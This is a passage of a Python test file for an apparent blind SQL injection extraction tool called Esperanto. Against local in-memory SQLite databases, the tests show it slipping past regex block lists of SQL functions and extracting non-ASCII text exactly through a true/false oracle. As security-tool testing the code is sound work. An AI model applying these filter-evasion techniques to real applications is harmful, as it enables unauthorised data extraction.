self.assertTrue(dq["complete"] and got == want, "bracket-quoted dump: %r" % dq["rows"])
|
||||
|
||||
def test_disguise_lossy_charcode_escalates_to_hex(self):
|
||||
# a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the
|
||||
# engine must detect that and escalate to hex, recovering the bytes exactly
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR
|
||||
con.commit()
|
||||
con.create_function("ASCII", 1, lambda s: (bytearray(s.encode("utf-8"))[0] if s else None))
|
||||
blk = re.compile(r"\bUNICODE\(|\bORD\(|CODEPOINT\(")
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
esp = Esperanto(ask); esp.discover()
|
||||
self.assertEqual(esp.dialect.charcode[0], "ASCII")
|
||||
self.assertEqual(esp.extractText("(SELECT v FROM t)"), u"café-€")
|
||||
|
||||
def test_disguise_unicode_through_dialect(self):
|
||||
# non-ASCII data recovered byte-exact even while the dialect is disguised
|
||||
# (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite)
|
||||
con = sqlite3.connect(":memory:")
|
||||
con.execute("CREATE TABLE s (v TEXT)")
|
||||
con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42
|
||||
con.commit()
|
||||
blk = re.compile(r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(", re.I)
|
||||
rw = [(re.compile(r"SUBSTRING\(", re.I), "substr("), (re.compile(r"\bLEN\(", re.I), "length(")]
|
||||
|
||||
def ask(cond):
|
||||
if blk.search(cond):
|
||||
return False
|
||||
sql = cond
|
||||
for rx, rep in rw:
|
||||
sql = rx.sub(rep, sql)
|
||||
try:
|
||||
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1
|
||||
except Exception:
|
||||
return False
|
||||
esp = Esperanto(ask); esp.discover()
|
||||
self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
Loading…
Add table
Add a link
Reference in a new issue